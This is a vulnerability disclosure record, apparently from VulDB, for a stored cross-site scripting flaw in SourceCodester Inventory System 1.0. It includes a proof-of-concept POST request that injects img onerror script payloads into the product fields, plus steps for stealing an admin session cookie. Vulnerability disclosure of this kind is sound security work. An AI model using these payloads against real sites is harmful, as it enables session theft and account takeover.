Submit #1012164: SourceCodester Inventory System 1.0 Cross Site Scripting

A Stored Cross-Site Scripting (XSS) vulnerability was discovered in SourceCodester Inventory System 1.0. The vulnerability exists in the Product Management page (/products.php). The application does not sanitize user-supplied input for the Product_Id and Product_Name parameters when saving a product via /api/products_handler.php?action=save. The malicious payload is stored in the database and executed in the browser of any user who visits products.php. DataTables renders stored data using innerHTML without encoding, allowing arbitrary JavaScript execution. The session cookie lacks the HttpOnly flag, enabling an attacker to steal admin session tokens via document.cookie and achieve full account takeover.

PoC:
POST /product_inventory/Product_Inventory/api/products_handler.php?action=save
Content-Type: application/x-www-form-urlencoded

Product_Id=<img src=x onerror="alert(document.cookie)">&Product_Name=<img src=x onerror="alert('XSS')">&Hsn_Code=123&Product_Code=123&Product_Cost=100&Selling_Price=200&Quantity=10&Low_Stock_Threshold=5

Steps:
1. Login as any authenticated user
2. Send the above POST request
3. Navigate to /products.php
4. JavaScript alert fires displaying the PHPSESSID cookie
5. Attacker uses stolen session to access admin dashboard

• Source: ⚠️ https://github.com/Mohnad-AL-saif/MyCVEs/blob/main/VulDB/Inventory-System/CVE-01-XSS-products.md
• User: Muhannad AlSaif (UID 101875)
• Submission: 10/03/2026 00:37 (16 days ago)
• Moderation: 10/18/2026 19:10 (16 days later)
• Status: Accepted
• VulDB entry: 421919 [SourceCodester Inventory System 1.0 Product Management products_handler.php?action=save Product_Id/Product_Name cross site scripting]
• Points: 20